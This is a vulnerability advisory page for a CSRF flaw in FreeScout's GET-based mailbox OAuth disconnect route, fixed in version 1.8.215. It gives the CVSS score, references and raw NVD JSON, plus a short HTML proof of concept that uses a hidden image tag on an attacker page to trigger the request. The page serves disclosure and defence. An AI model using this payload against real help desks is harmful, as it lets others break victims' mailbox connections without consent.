CVE-2026-41194

Description

FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.215, the mailbox OAuth disconnect action is implemented as `GET /mailbox/oauth-disconnect/{id}/{in_out}/{provider}`. It removes stored OAuth metadata from the mailbox and then redirects. Because it is a GET route, no CSRF token is required and the action can be triggered cross-site against a logged-in mailbox admin. Version 1.8.215 fixes the vulnerability.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

FreeScout < 1.8.215

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CSRF to disconnect OAuth -->
<!-- Attacker hosts this on a malicious site -->
<html>
<body>
  <!-- The img tag triggers a GET request to the vulnerable endpoint -->
  <img src="https://target-domain.com/mailbox/oauth-disconnect/{id}/{in_out}/{provider}" width="0" height="0" style="display:none;">
  <p>Loading...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41194
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41194
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41194/
[4] VulDB https://vuldb.com/cve/CVE-2026-41194
[5] https://github.com/freescout-help-desk/freescout/commit/eb397efae2086524ba0ee91abb916de8db7a4ac1
[6] https://github.com/freescout-help-desk/freescout/releases/tag/1.8.215
[7] https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-6rvw-fhqx-cfv5

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41194", "sourceIdentifier": "[email protected]", "published": "2026-04-21T18:16:53.400", "lastModified": "2026-04-22T21:08:48.550", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.215, the mailbox OAuth disconnect action is implemented as `GET /mailbox/oauth-disconnect/{id}/{in_out}/{provider}`. It removes stored OAuth metadata from the mailbox and then redirects. Because it is a GET route, no CSRF token is required and the action can be triggered cross-site against a logged-in mailbox admin. Version 1.8.215 fixes the vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/eb397efae2086524ba0ee91abb916de8db7a4ac1", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.215", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-6rvw-fhqx-cfv5", "source": "[email protected]"}]}}